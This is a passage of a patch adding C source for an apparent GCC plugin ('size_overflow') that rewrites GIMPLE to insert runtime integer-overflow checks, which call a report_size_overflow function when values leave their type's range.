++#undef cwfold
++#undef cwmixa
++#undef cwmixb
++}
++
++static inline unsigned int get_hash_num(const char *fndecl, const char *tree_codes, unsigned int len, unsigned int seed)
++{
++	unsigned int fn = CrapWow(fndecl, strlen(fndecl), seed) & 0xffff;
++	unsigned int codes = CrapWow(tree_codes, len, seed) & 0xffff;
++	return fn ^ codes;
++}
++
++static inline tree get_original_function_decl(tree fndecl)
++{
++	if (DECL_ABSTRACT_ORIGIN(fndecl))
++		return DECL_ABSTRACT_ORIGIN(fndecl);
++	return fndecl;
++}
++
++static inline gimple get_def_stmt(const_tree node)
++{
++	gcc_assert(node != NULL_TREE);
++	gcc_assert(TREE_CODE(node) == SSA_NAME);
++	return SSA_NAME_DEF_STMT(node);
++}
++
++static unsigned char get_tree_code(const_tree type)
++{
++	switch (TREE_CODE(type)) {
++	case ARRAY_TYPE:
++		return 0;
++	case BOOLEAN_TYPE:
++		return 1;
++	case ENUMERAL_TYPE:
++		return 2;
++	case FUNCTION_TYPE:
++		return 3;
++	case INTEGER_TYPE:
++		return 4;
++	case POINTER_TYPE:
++		return 5;
++	case RECORD_TYPE:
++		return 6;
++	case UNION_TYPE:
++		return 7;
++	case VOID_TYPE:
++		return 8;
++	case REAL_TYPE:
++		return 9;
++	case VECTOR_TYPE:
++		return 10;
++	case REFERENCE_TYPE:
++		return 11;
++	case OFFSET_TYPE:
++		return 12;
++	case COMPLEX_TYPE:
++		return 13;
++	default:
++		debug_tree((tree)type);
++		gcc_unreachable();
++	}
++}
++
++static size_t add_type_codes(const_tree type, unsigned char *tree_codes, size_t len)
++{
++	gcc_assert(type != NULL_TREE);
++
++	while (type && len < CODES_LIMIT) {
++		tree_codes[len] = get_tree_code(type);
++		len++;
++		type = TREE_TYPE(type);
++	}
++	return len;
++}
++
++static unsigned int get_function_decl(const_tree fndecl, unsigned char *tree_codes)
++{
++	const_tree arg, result, arg_field, type = TREE_TYPE(fndecl);
++	enum tree_code code = TREE_CODE(type);
++	size_t len = 0;
++
++	gcc_assert(code == FUNCTION_TYPE || code == METHOD_TYPE);
++
++	arg = TYPE_ARG_TYPES(type);
++	// skip builtins __builtin_constant_p
++	if (!arg && DECL_BUILT_IN(fndecl))
++		return 0;
++
++	if (TREE_CODE_CLASS(code) == tcc_type)
++		result = type;
++	else
++		result = DECL_RESULT(fndecl);
++
++	gcc_assert(result != NULL_TREE);
++	len = add_type_codes(TREE_TYPE(result), tree_codes, len);
++
++	if (arg == NULL_TREE) {
++		gcc_assert(CODE_CONTAINS_STRUCT(TREE_CODE(fndecl), TS_DECL_NON_COMMON));
++		arg_field = DECL_ARGUMENT_FLD(fndecl);
++		if (arg_field == NULL_TREE)
++			return 0;
++		arg = TREE_TYPE(arg_field);
++		len = add_type_codes(arg, tree_codes, len);
++		gcc_assert(len != 0);
++		return len;
++	}
++
++	gcc_assert(arg != NULL_TREE && TREE_CODE(arg) == TREE_LIST);
++	while (arg && len < CODES_LIMIT) {
++		len = add_type_codes(TREE_VALUE(arg), tree_codes, len);
++		arg = TREE_CHAIN(arg);
++	}
++
++	gcc_assert(len != 0);
++	return len;
++}
++
++static const struct size_overflow_hash *get_function_hash(tree fndecl)
++{
++	unsigned int hash;
++	const struct size_overflow_hash *entry;
++	unsigned char tree_codes[CODES_LIMIT];
++	size_t len;
++	const char *func_name = get_asm_name(fndecl);
++
++	len = get_function_decl(fndecl, tree_codes);
++	if (len == 0)
++		return NULL;
++
++	hash = get_hash_num(func_name, (const char*) tree_codes, len, 0);
++
++	entry = size_overflow_hash[hash];
++	while (entry) {
++		if (!strcmp(entry->name, func_name))
++			return entry;
++		entry = entry->next;
++	}
++
++	return NULL;
++}
++
++static void check_arg_type(const_tree arg)
++{
++	const_tree type = TREE_TYPE(arg);
++	enum tree_code code = TREE_CODE(type);
++
++	gcc_assert(code == INTEGER_TYPE || code == ENUMERAL_TYPE ||
++		  (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == VOID_TYPE) ||
++		  (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == INTEGER_TYPE));
++}
++
++static int find_arg_number(const_tree arg, tree func)
++{
++	tree var;
++	unsigned int argnum = 1;
++
++	if (TREE_CODE(arg) == SSA_NAME)
++		arg = SSA_NAME_VAR(arg);
++
++	for (var = DECL_ARGUMENTS(func); var; var = TREE_CHAIN(var)) {
++		if (strcmp(NAME(arg), NAME(var))) {
++			argnum++;
++			continue;
++		}
++		check_arg_type(var);
++		return argnum;
++	}
++	gcc_unreachable();
++}
++
++static tree create_new_var(tree type)
++{
++	tree new_var = create_tmp_var(type, "cicus");
++
++	add_referenced_var(new_var);
++	mark_sym_for_renaming(new_var);
++	return new_var;
++}
++
++static gimple create_binary_assign(enum tree_code code, gimple stmt, tree rhs1, tree rhs2)
++{
++	gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree type = TREE_TYPE(rhs1);
++	tree lhs = create_new_var(type);
++
++	assign = gimple_build_assign_with_ops(code, lhs, rhs1, rhs2);
++	gimple_set_lhs(assign, make_ssa_name(lhs, assign));
++
++	gsi_insert_before(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	gimple_set_plf(assign, MY_STMT, true);
++	return assign;
++}
++
++static bool is_bool(const_tree node)
++{
++	const_tree type;
++
++	if (node == NULL_TREE)
++		return false;
++
++	type = TREE_TYPE(node);
++	if (!INTEGRAL_TYPE_P(type))
++		return false;
++	if (TREE_CODE(type) == BOOLEAN_TYPE)
++		return true;
++	if (TYPE_PRECISION(type) == 1)
++		return true;
++	return false;
++}
++
++static tree cast_a_tree(tree type, tree var)
++{
++	gcc_assert(type != NULL_TREE);
++	gcc_assert(var != NULL_TREE);
++	gcc_assert(fold_convertible_p(type, var));
++
++	return fold_convert(type, var);
++}
++
++static gimple build_cast_stmt(tree dst_type, tree rhs, tree lhs, gimple_stmt_iterator *gsi, bool before)
++{
++	gimple assign;
++
++	gcc_assert(dst_type != NULL_TREE && rhs != NULL_TREE);
++	if (gsi_end_p(*gsi) && before == AFTER_STMT)
++		gcc_unreachable();
++
++	if (lhs == CREATE_NEW_VAR)
++		lhs = create_new_var(dst_type);
++
++	assign = gimple_build_assign(lhs, cast_a_tree(dst_type, rhs));
++
++	if (!gsi_end_p(*gsi)) {
++		location_t loc = gimple_location(gsi_stmt(*gsi));
++		gimple_set_location(assign, loc);
++	}
++
++	gimple_set_lhs(assign, make_ssa_name(lhs, assign));
++
++	if (before)
++		gsi_insert_before(gsi, assign, GSI_NEW_STMT);
++	else
++		gsi_insert_after(gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	gimple_set_plf(assign, MY_STMT, true);
++
++	return assign;
++}
++
++static tree cast_to_new_size_overflow_type(gimple stmt, tree new_rhs1, tree size_overflow_type, bool before)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi;
++
++	if (new_rhs1 == NULL_TREE)
++		return NULL_TREE;
++
++	if (!useless_type_conversion_p(TREE_TYPE(new_rhs1), size_overflow_type)) {
++		gsi = gsi_for_stmt(stmt);
++		assign = build_cast_stmt(size_overflow_type, new_rhs1, CREATE_NEW_VAR, &gsi, before);
++		return gimple_get_lhs(assign);
++	}
++	return new_rhs1;
++}
++
++static tree follow_overflow_type_and_dup(struct pointer_set_t *visited, gimple stmt, const_tree node, tree new_rhs1, tree new_rhs2, tree new_rhs3)
++{
++	tree size_overflow_type = get_size_overflow_type(stmt, node);
++
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	if (new_rhs2 != NULL_TREE)
++		new_rhs2 = cast_to_new_size_overflow_type(stmt, new_rhs2, size_overflow_type, BEFORE_STMT);
++
++	if (new_rhs3 != NULL_TREE)
++		new_rhs3 = cast_to_new_size_overflow_type(stmt, new_rhs3, size_overflow_type, BEFORE_STMT);
++
++	return dup_assign(visited, stmt, size_overflow_type, new_rhs1, new_rhs2, new_rhs3);
++}
++
++
++static tree create_assign(struct pointer_set_t *visited, gimple oldstmt, tree rhs1, bool before)
++{
++	tree size_overflow_type, lhs;
++	gimple stmt;
++	gimple_stmt_iterator gsi;
++
++	if (rhs1 == NULL_TREE) {
++		debug_gimple_stmt(oldstmt);
++		error("%s: rhs1 is NULL_TREE", __func__);
++		gcc_unreachable();
++	}
++
++	if (gimple_code(oldstmt) == GIMPLE_ASM)
++		lhs = rhs1;
++	else
++		lhs = gimple_get_lhs(oldstmt);
++
++	gsi = gsi_for_stmt(oldstmt);
++	pointer_set_insert(visited, oldstmt);
++	if (lookup_stmt_eh_lp(oldstmt) != 0) {
++		basic_block next_bb, cur_bb;
++		const_edge e;
++
++		gcc_assert(before == false);
++		gcc_assert(stmt_can_throw_internal(oldstmt));
++		gcc_assert(gimple_code(oldstmt) == GIMPLE_CALL);
++		gcc_assert(!gsi_end_p(gsi));
++
++		cur_bb = gimple_bb(oldstmt);
++		next_bb = cur_bb->next_bb;
++		e = find_edge(cur_bb, next_bb);
++		gcc_assert(e != NULL);
++		gcc_assert(e->flags & EDGE_FALLTHRU);
++
++		gsi = gsi_after_labels(next_bb);
++		gcc_assert(!gsi_end_p(gsi));
++
++		before = true;
++		oldstmt = gsi_stmt(gsi);
++	}
++
++	size_overflow_type = get_size_overflow_type(oldstmt, lhs);
++
++	stmt = build_cast_stmt(size_overflow_type, rhs1, CREATE_NEW_VAR, &gsi, before);
++	gimple_set_plf(stmt, MY_STMT, true);
++	return gimple_get_lhs(stmt);
++}
++
++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3)
++{
++	gimple stmt;
++	gimple_stmt_iterator gsi;
++	tree new_var, lhs = gimple_get_lhs(oldstmt);
++
++	if (gimple_plf(oldstmt, MY_STMT))
++		return lhs;
++
++	if (gimple_num_ops(oldstmt) != 4 && rhs1 == NULL_TREE) {
++		rhs1 = gimple_assign_rhs1(oldstmt);
++		rhs1 = create_assign(visited, oldstmt, rhs1, BEFORE_STMT);
++	}
++	if (gimple_num_ops(oldstmt) == 3 && rhs2 == NULL_TREE) {
++		rhs2 = gimple_assign_rhs2(oldstmt);
++		rhs2 = create_assign(visited, oldstmt, rhs2, BEFORE_STMT);
++	}
++
++	stmt = gimple_copy(oldstmt);
++	gimple_set_location(stmt, gimple_location(oldstmt));
++	gimple_set_plf(stmt, MY_STMT, true);
++
++	if (gimple_assign_rhs_code(oldstmt) == WIDEN_MULT_EXPR)
++		gimple_assign_set_rhs_code(stmt, MULT_EXPR);
++
++	if (is_bool(lhs))
++		new_var = SSA_NAME_VAR(lhs);
++	else
++		new_var = create_new_var(size_overflow_type);
++	new_var = make_ssa_name(new_var, stmt);
++	gimple_set_lhs(stmt, new_var);
++
++	if (rhs1 != NULL_TREE) {
++		if (!gimple_assign_cast_p(oldstmt))
++			rhs1 = cast_a_tree(size_overflow_type, rhs1);
++		gimple_assign_set_rhs1(stmt, rhs1);
++	}
++
++	if (rhs2 != NULL_TREE)
++		gimple_assign_set_rhs2(stmt, rhs2);
++#if BUILDING_GCC_VERSION >= 4007
++	if (rhs3 != NULL_TREE)
++		gimple_assign_set_rhs3(stmt, rhs3);
++#endif
++	gimple_set_vuse(stmt, gimple_vuse(oldstmt));
++	gimple_set_vdef(stmt, gimple_vdef(oldstmt));
++
++	gsi = gsi_for_stmt(oldstmt);
++	gsi_insert_after(&gsi, stmt, GSI_SAME_STMT);
++	update_stmt(stmt);
++	pointer_set_insert(visited, oldstmt);
++	return gimple_get_lhs(stmt);
++}
++
++static gimple overflow_create_phi_node(gimple oldstmt, tree result)
++{
++	basic_block bb;
++	gimple phi;
++	gimple_stmt_iterator gsi = gsi_for_stmt(oldstmt);
++
++	bb = gsi_bb(gsi);
++
++	phi = create_phi_node(result, bb);
++	gsi = gsi_last(phi_nodes(bb));
++	gsi_remove(&gsi, false);
++
++	gsi = gsi_for_stmt(oldstmt);
++	gsi_insert_after(&gsi, phi, GSI_NEW_STMT);
++	gimple_set_bb(phi, bb);
++	gimple_set_plf(phi, MY_STMT, true);
++	return phi;
++}
++
++static basic_block create_a_first_bb(void)
++{
++	basic_block first_bb;
++
++	first_bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++	if (dom_info_available_p(CDI_DOMINATORS))
++		set_immediate_dominator(CDI_DOMINATORS, first_bb, ENTRY_BLOCK_PTR);
++	return first_bb;
++}
++
++static tree cast_old_phi_arg(gimple oldstmt, tree size_overflow_type, tree arg, tree new_var, unsigned int i)
++{
++	basic_block bb;
++	const_gimple newstmt;
++	gimple_stmt_iterator gsi;
++	bool before = BEFORE_STMT;
++
++	if (TREE_CODE(arg) == SSA_NAME && gimple_code(get_def_stmt(arg)) != GIMPLE_NOP) {
++		gsi = gsi_for_stmt(get_def_stmt(arg));
++		newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, AFTER_STMT);
++		return gimple_get_lhs(newstmt);
++	}
++
++	bb = gimple_phi_arg_edge(oldstmt, i)->src;
++	gsi = gsi_after_labels(bb);
++	if (bb->index == 0) {
++		bb = create_a_first_bb();
++		gsi = gsi_start_bb(bb);
++	}
++	newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, before);
++	return gimple_get_lhs(newstmt);
++}
++
++static const_gimple handle_new_phi_arg(const_tree arg, tree new_var, tree new_rhs)
++{
++	gimple newstmt;
++	gimple_stmt_iterator gsi;
++	void (*gsi_insert)(gimple_stmt_iterator *, gimple, enum gsi_iterator_update);
++	gimple def_newstmt = get_def_stmt(new_rhs);
++
++	gsi_insert = gsi_insert_after;
++	gsi = gsi_for_stmt(def_newstmt);
++
++	switch (gimple_code(get_def_stmt(arg))) {
++	case GIMPLE_PHI:
++		newstmt = gimple_build_assign(new_var, new_rhs);
++		gsi = gsi_after_labels(gimple_bb(def_newstmt));
++		gsi_insert = gsi_insert_before;
++		break;
++	case GIMPLE_ASM:
++	case GIMPLE_CALL:
++		newstmt = gimple_build_assign(new_var, new_rhs);
++		break;
++	case GIMPLE_ASSIGN:
++		newstmt = gimple_build_assign(new_var, gimple_get_lhs(def_newstmt));
++		break;
++	default:
++		/* unknown gimple_code (handle_build_new_phi_arg) */
++		gcc_unreachable();
++	}
++
++	gimple_set_lhs(newstmt, make_ssa_name(new_var, newstmt));
++	gsi_insert(&gsi, newstmt, GSI_NEW_STMT);
++	gimple_set_plf(newstmt, MY_STMT, true);
++	update_stmt(newstmt);
++	return newstmt;
++}
++
++static tree build_new_phi_arg(struct pointer_set_t *visited, tree size_overflow_type, tree arg, tree new_var)
++{
++	const_gimple newstmt;
++	gimple def_stmt;
++	tree new_rhs;
++
++	new_rhs = expand(visited, arg);
++	if (new_rhs == NULL_TREE)
++		return NULL_TREE;
++
++	def_stmt = get_def_stmt(new_rhs);
++	if (gimple_code(def_stmt) == GIMPLE_NOP)
++		return NULL_TREE;
++	new_rhs = cast_to_new_size_overflow_type(def_stmt, new_rhs, size_overflow_type, AFTER_STMT);
++
++	newstmt = handle_new_phi_arg(arg, new_var, new_rhs);
++	return gimple_get_lhs(newstmt);
++}
++
++static tree build_new_phi(struct pointer_set_t *visited, tree orig_result)
++{
++	gimple phi, oldstmt = get_def_stmt(orig_result);
++	tree new_result, size_overflow_type;
++	unsigned int i;
++	unsigned int n = gimple_phi_num_args(oldstmt);
++
++	size_overflow_type = get_size_overflow_type(oldstmt, orig_result);
++
++	new_result = create_new_var(size_overflow_type);
++
++	pointer_set_insert(visited, oldstmt);
++	phi = overflow_create_phi_node(oldstmt, new_result);
++	for (i = 0; i < n; i++) {
++		tree arg, lhs;
++
++		arg = gimple_phi_arg_def(oldstmt, i);
++		if (is_gimple_constant(arg))
++			arg = cast_a_tree(size_overflow_type, arg);
++		lhs = build_new_phi_arg(visited, size_overflow_type, arg, new_result);
++		if (lhs == NULL_TREE)
++			lhs = cast_old_phi_arg(oldstmt, size_overflow_type, arg, new_result, i);
++		add_phi_arg(phi, lhs, gimple_phi_arg_edge(oldstmt, i), gimple_location(oldstmt));
++	}
++
++	update_stmt(phi);
++	return gimple_phi_result(phi);
++}
++
++static tree change_assign_rhs(gimple stmt, const_tree orig_rhs, tree new_rhs)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree origtype = TREE_TYPE(orig_rhs);
++
++	gcc_assert(gimple_code(stmt) == GIMPLE_ASSIGN);
++
++	assign = build_cast_stmt(origtype, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++	return gimple_get_lhs(assign);
++}
++
++static void change_rhs1(gimple stmt, tree new_rhs1)
++{
++	tree assign_rhs;
++	const_tree rhs = gimple_assign_rhs1(stmt);
++
++	assign_rhs = change_assign_rhs(stmt, rhs, new_rhs1);
++	gimple_assign_set_rhs1(stmt, assign_rhs);
++	update_stmt(stmt);
++}
++
++static bool check_mode_type(const_gimple stmt)
++{
++	const_tree lhs = gimple_get_lhs(stmt);
++	const_tree lhs_type = TREE_TYPE(lhs);
++	const_tree rhs_type = TREE_TYPE(gimple_assign_rhs1(stmt));
++	enum machine_mode lhs_mode = TYPE_MODE(lhs_type);
++	enum machine_mode rhs_mode = TYPE_MODE(rhs_type);
++
++	if (rhs_mode == lhs_mode && TYPE_UNSIGNED(rhs_type) == TYPE_UNSIGNED(lhs_type))
++		return false;
++
++	if (rhs_mode == SImode && lhs_mode == DImode && (TYPE_UNSIGNED(rhs_type) || !TYPE_UNSIGNED(lhs_type)))
++		return false;
++
++	return true;
++}
++
++static bool check_undefined_integer_operation(const_gimple stmt)
++{
++	const_gimple def_stmt;
++	const_tree lhs = gimple_get_lhs(stmt);
++	const_tree rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs1_type = TREE_TYPE(rhs1);
++	const_tree lhs_type = TREE_TYPE(lhs);
++
++	if (TYPE_MODE(rhs1_type) != TYPE_MODE(lhs_type) || TYPE_UNSIGNED(rhs1_type) == TYPE_UNSIGNED(lhs_type))
++		return false;
++
++	def_stmt = get_def_stmt(rhs1);
++	if (gimple_code(def_stmt) != GIMPLE_ASSIGN)
++		return false;
++
++	if (gimple_assign_rhs_code(def_stmt) != MINUS_EXPR)
++		return false;
++	return true;
++}
++
++static bool is_a_cast_and_const_overflow(const_tree no_const_rhs)
++{
++	const_tree rhs1, lhs, rhs1_type, lhs_type;
++	enum machine_mode lhs_mode, rhs_mode;
++	gimple def_stmt = get_def_stmt(no_const_rhs);
++
++	if (!gimple_assign_cast_p(def_stmt))
++		return false;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	lhs = gimple_get_lhs(def_stmt);
++	rhs1_type = TREE_TYPE(rhs1);
++	lhs_type = TREE_TYPE(lhs);
++	rhs_mode = TYPE_MODE(rhs1_type);
++	lhs_mode = TYPE_MODE(lhs_type);
++	if (TYPE_UNSIGNED(lhs_type) == TYPE_UNSIGNED(rhs1_type) || lhs_mode != rhs_mode)
++		return false;
++
++	return true;
++}
++
++static tree handle_unary_rhs(struct pointer_set_t *visited, gimple stmt)
++{
++	tree size_overflow_type, lhs = gimple_get_lhs(stmt);
++	tree new_rhs1, rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs1_type = TREE_TYPE(rhs1);
++	const_tree lhs_type = TREE_TYPE(lhs);
++
++	new_rhs1 = expand(visited, rhs1);
++
++	if (new_rhs1 == NULL_TREE || TREE_CODE(rhs1_type) == POINTER_TYPE)
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	if (gimple_plf(stmt, MY_STMT))
++		return lhs;
++
++	if (gimple_plf(stmt, NO_CAST_CHECK))
++		return follow_overflow_type_and_dup(visited, stmt, rhs1, new_rhs1, NULL_TREE, NULL_TREE);
++
++	if (gimple_assign_rhs_code(stmt) == BIT_NOT_EXPR) {
++		size_overflow_type = get_size_overflow_type(stmt, rhs1);
++		new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++		check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT);
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++	}
++
++	if (!gimple_assign_cast_p(stmt) || check_undefined_integer_operation(stmt))
++		return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, NULL_TREE, NULL_TREE);
++
++	size_overflow_type = get_size_overflow_type(stmt, rhs1);
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	change_rhs1(stmt, new_rhs1);
++	check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT);
++
++	rhs1 = gimple_assign_rhs1(stmt);
++	rhs1_type = TREE_TYPE(rhs1);
++	if (TYPE_UNSIGNED(rhs1_type) != TYPE_UNSIGNED(lhs_type))
++		return create_assign(visited, stmt, rhs1, AFTER_STMT);
++
++	if (!check_mode_type(stmt))
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	size_overflow_type = get_size_overflow_type(stmt, lhs);
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	check_size_overflow(stmt, size_overflow_type, new_rhs1, lhs, BEFORE_STMT);
++
++	return create_assign(visited, stmt, lhs, AFTER_STMT);
++}
++
++static tree handle_unary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	gimple def_stmt = get_def_stmt(lhs);
++	tree rhs1 = gimple_assign_rhs1(def_stmt);
++
++	if (is_gimple_constant(rhs1))
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++
++	gcc_assert(TREE_CODE(rhs1) != COND_EXPR);
++	switch (TREE_CODE(rhs1)) {
++	case SSA_NAME:
++		return handle_unary_rhs(visited, def_stmt);
++	case ARRAY_REF:
++	case BIT_FIELD_REF:
++	case ADDR_EXPR:
++	case COMPONENT_REF:
++	case INDIRECT_REF:
++#if BUILDING_GCC_VERSION >= 4006
++	case MEM_REF:
++#endif
++	case PARM_DECL:
++	case TARGET_MEM_REF:
++	case VAR_DECL:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++
++	default:
++		debug_gimple_stmt(def_stmt);
++		debug_tree(rhs1);
++		gcc_unreachable();
++	}
++}
++
++static void insert_cond(basic_block cond_bb, tree arg, enum tree_code cond_code, tree type_value)
++{
++	gimple cond_stmt;
++	gimple_stmt_iterator gsi = gsi_last_bb(cond_bb);
++
++	cond_stmt = gimple_build_cond(cond_code, arg, type_value, NULL_TREE, NULL_TREE);
++	gsi_insert_after(&gsi, cond_stmt, GSI_CONTINUE_LINKING);
++	update_stmt(cond_stmt);
++}
++
++static tree create_string_param(tree string)
++{
++	tree i_type, a_type;
++	const int length = TREE_STRING_LENGTH(string);
++
++	gcc_assert(length > 0);
++
++	i_type = build_index_type(build_int_cst(NULL_TREE, length - 1));
++	a_type = build_array_type(char_type_node, i_type);
++
++	TREE_TYPE(string) = a_type;
++	TREE_CONSTANT(string) = 1;
++	TREE_READONLY(string) = 1;
++
++	return build1(ADDR_EXPR, ptr_type_node, string);
++}
++
++static void insert_cond_result(basic_block bb_true, const_gimple stmt, const_tree arg, bool min)
++{
++	gimple func_stmt;
++	const_gimple def_stmt;
++	const_tree loc_line;
++	tree loc_file, ssa_name, current_func;
++	expanded_location xloc;
++	char ssa_name_buf[256];
++	gimple_stmt_iterator gsi = gsi_start_bb(bb_true);
++
++	def_stmt = get_def_stmt(arg);
++	xloc = expand_location(gimple_location(def_stmt));
++
++	if (!gimple_has_location(def_stmt)) {
++		xloc = expand_location(gimple_location(stmt));
++		if (!gimple_has_location(stmt))
++			xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl));
++	}
++
++	loc_line = build_int_cstu(unsigned_type_node, xloc.line);
++
++	loc_file = build_string(strlen(xloc.file) + 1, xloc.file);
++	loc_file = create_string_param(loc_file);
++
++	current_func = build_string(NAME_LEN(current_function_decl) + 1, NAME(current_function_decl));
++	current_func = create_string_param(current_func);
++
++	snprintf(ssa_name_buf, 256, "%s_%u (%s)\n", NAME(SSA_NAME_VAR(arg)), SSA_NAME_VERSION(arg), min ? "min" : "max");
++	ssa_name = build_string(256, ssa_name_buf);
++	ssa_name = create_string_param(ssa_name);
++
++	// void report_size_overflow(const char *file, unsigned int line, const char *func, const char *ssa_name)
++	func_stmt = gimple_build_call(report_size_overflow_decl, 4, loc_file, loc_line, current_func, ssa_name);
++
++	gsi_insert_after(&gsi, func_stmt, GSI_CONTINUE_LINKING);
++}
++
++static void __unused print_the_code_insertions(const_gimple stmt)
++{
++	location_t loc = gimple_location(stmt);
++
++	inform(loc, "Integer size_overflow check applied here.");
++}
++
++static void insert_check_size_overflow(gimple stmt, enum tree_code cond_code, tree arg, tree type_value, bool before, bool min)
++{
++	basic_block cond_bb, join_bb, bb_true;
++	edge e;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++
++	cond_bb = gimple_bb(stmt);
++	if (before)
++		gsi_prev(&gsi);
++	if (gsi_end_p(gsi))
++		e = split_block_after_labels(cond_bb);
++	else
++		e = split_block(cond_bb, gsi_stmt(gsi));
++	cond_bb = e->src;
++	join_bb = e->dest;
++	e->flags = EDGE_FALSE_VALUE;
++	e->probability = REG_BR_PROB_BASE;
++
++	bb_true = create_empty_bb(cond_bb);
++	make_edge(cond_bb, bb_true, EDGE_TRUE_VALUE);
++	make_edge(cond_bb, join_bb, EDGE_FALSE_VALUE);
++	make_edge(bb_true, join_bb, EDGE_FALLTHRU);
++
++	if (dom_info_available_p(CDI_DOMINATORS)) {
++		set_immediate_dominator(CDI_DOMINATORS, bb_true, cond_bb);
++		set_immediate_dominator(CDI_DOMINATORS, join_bb, cond_bb);
++	}
++
++	if (current_loops != NULL) {
++		gcc_assert(cond_bb->loop_father == join_bb->loop_father);
++		add_bb_to_loop(bb_true, cond_bb->loop_father);
++	}
++
++	insert_cond(cond_bb, arg, cond_code, type_value);
++	insert_cond_result(bb_true, stmt, arg, min);
++
++//	print_the_code_insertions(stmt);
++}
++
++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before)
++{
++	const_tree rhs_type = TREE_TYPE(rhs);
++	tree cast_rhs_type, type_max_type, type_min_type, type_max, type_min;
++
++	gcc_assert(rhs_type != NULL_TREE);
++	if (TREE_CODE(rhs_type) == POINTER_TYPE)
++		return;
++
++	gcc_assert(TREE_CODE(rhs_type) == INTEGER_TYPE || TREE_CODE(rhs_type) == BOOLEAN_TYPE || TREE_CODE(rhs_type) == ENUMERAL_TYPE);
++
++	type_max = cast_a_tree(size_overflow_type, TYPE_MAX_VALUE(rhs_type));
++	type_min = cast_a_tree(size_overflow_type, TYPE_MIN_VALUE(rhs_type));
++
++	gcc_assert(!TREE_OVERFLOW(type_max));
++
++	cast_rhs_type = TREE_TYPE(cast_rhs);
++	type_max_type = TREE_TYPE(type_max);
++	type_min_type = TREE_TYPE(type_min);
++	gcc_assert(useless_type_conversion_p(cast_rhs_type, type_max_type));
++	gcc_assert(useless_type_conversion_p(type_max_type, type_min_type));
++
++	insert_check_size_overflow(stmt, GT_EXPR, cast_rhs, type_max, before, false);
++	insert_check_size_overflow(stmt, LT_EXPR, cast_rhs, type_min, before, true);
++}
++
++static tree get_size_overflow_type_for_intentional_overflow(gimple def_stmt, tree change_rhs)
++{
++	gimple change_rhs_def_stmt;
++	tree lhs = gimple_get_lhs(def_stmt);
++	tree lhs_type = TREE_TYPE(lhs);
++	tree rhs1_type = TREE_TYPE(gimple_assign_rhs1(def_stmt));
++	tree rhs2_type = TREE_TYPE(gimple_assign_rhs2(def_stmt));
++
++	if (change_rhs == NULL_TREE)
++		return get_size_overflow_type(def_stmt, lhs);
++
++	change_rhs_def_stmt = get_def_stmt(change_rhs);
++
++	if (TREE_CODE_CLASS(gimple_assign_rhs_code(def_stmt)) == tcc_comparison)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (gimple_assign_rhs_code(def_stmt) == LSHIFT_EXPR)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (gimple_assign_rhs_code(def_stmt) == RSHIFT_EXPR)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (!useless_type_conversion_p(lhs_type, rhs1_type) || !useless_type_conversion_p(rhs1_type, rhs2_type)) {
++		debug_gimple_stmt(def_stmt);
++		gcc_unreachable();
++	}
++
++	return get_size_overflow_type(def_stmt, lhs);
++}
++
++static bool is_a_constant_overflow(const_gimple stmt, const_tree rhs)
++{
++	if (gimple_assign_rhs_code(stmt) == MIN_EXPR)
++		return false;
++	if (!is_gimple_constant(rhs))
++		return false;
++	return true;
++}
++
++static tree get_cast_def_stmt_rhs(const_tree new_rhs)
++{
++	gimple def_stmt;
++
++	def_stmt = get_def_stmt(new_rhs);
++	// get_size_overflow_type
++	if (LONG_TYPE_SIZE != GET_MODE_BITSIZE(SImode))
++		gcc_assert(gimple_assign_cast_p(def_stmt));
++	return gimple_assign_rhs1(def_stmt);
++}
++
++static tree cast_to_int_TI_type_and_check(gimple stmt, tree new_rhs)
++{
++	gimple_stmt_iterator gsi;
++	const_gimple cast_stmt;
++	gimple def_stmt;
++	enum machine_mode mode = TYPE_MODE(TREE_TYPE(new_rhs));
++
++	if (mode != TImode && mode != DImode) {
++		def_stmt = get_def_stmt(new_rhs);
++		gcc_assert(gimple_assign_cast_p(def_stmt));
++		new_rhs = gimple_assign_rhs1(def_stmt);
++		mode = TYPE_MODE(TREE_TYPE(new_rhs));
++	}
++
++	gcc_assert(mode == TImode || mode == DImode);
++
++	if (mode == TYPE_MODE(intTI_type_node) && useless_type_conversion_p(TREE_TYPE(new_rhs), intTI_type_node))
++		return new_rhs;
++
